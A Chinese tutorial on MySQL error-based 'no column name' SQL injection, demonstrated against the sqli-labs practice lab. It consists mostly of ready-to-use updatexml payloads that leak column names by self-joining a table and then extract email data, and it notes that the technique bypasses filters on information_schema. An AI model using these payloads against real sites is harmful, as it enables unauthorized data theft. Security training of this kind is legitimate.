mysql无列名注入
0x00 原理
mysql无列名注入是报错注入的一个变种,前提是已知表名,但是不知道列名,或者只知道部分列名,可通过报错注入拼接查询自身表,当自表被拼接时,由于存在重复属性列,会将列信息报错返回,这样我们就能知道表中的列名,再select 列名 from 表名 可直接查询出对应的数据。
0x01 注入方法
这里使用sqlilabs-1来演示。
0x01.1 使用union进行无列名注入
前提条件是我们知道sqlilabs 有 security 数据库 emails 数据表 但我们不知道列名是什么。
爆第一个列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b)c),0x7e),1)--+
爆第二个列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+
using(id)的意思是将表通过id进行拼接,也就是说拼接两张都含有id的表,其他表中属性进行并运算拼接,如果出现重复属性则报错。
尝试爆第三列
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id,email_id))c),0x7e),1)--+
虽然提示 Operand should contain 1 column(s) , 其实已经查询失败了。
对爆出的email_id列进行查询
payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws('|',id,email_id) from emails limit 0,1),0x7e),1)--+
payload: ?id=1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails limit 0,1),0x7e),1)--+
0x01.2 不使用union进行无列名注入
爆第一个列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b)c),0x7e),1)--+
出了 id 列
爆第一个列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+
出了email_id列
查询和使用union的一样。
0x02 总结
这种注入方式在使用正则表达式过滤了information_schema.tables,information_schema.columns等常规注入查询系统表或者过滤了table_name,column_name时非常有效!
- MySQL在不知道列名情况下的注入详解
- PHP+MYSQL 【注入漏洞】攻防测试
- 【MySQL】MySQL关键字作为列名表名的处理方式
- Mysql之注入工具-yellowcong
- python 查询mysql 返回列名
- MySQL注入中的outfile、dumpfile、load_file函数详解
- mysql limit后的注入
- 新型mysql报错注入
- 新手科普 | MySQL手工注入之基本注入流程
- 奇淫绝技:Mysql报错注入利用总结分享
- mysql手工注入总结
- PHP防止mysql注入方法
- 用java试试在Mysql环境中注入sql
- mysql-php基于“错误”的手工注入----(select *)
- 关于Mysql报错注入的三个问题
- mysql注入攻击扫描备忘;
- 【sql注入教程】mysql注入直接getshell
- 9Python全站之路系列之MySQL SL注入
- mysql修改表名,列名,列类型,添加表列,删除表列
- DVWA+SQLmap+Mysql注入实战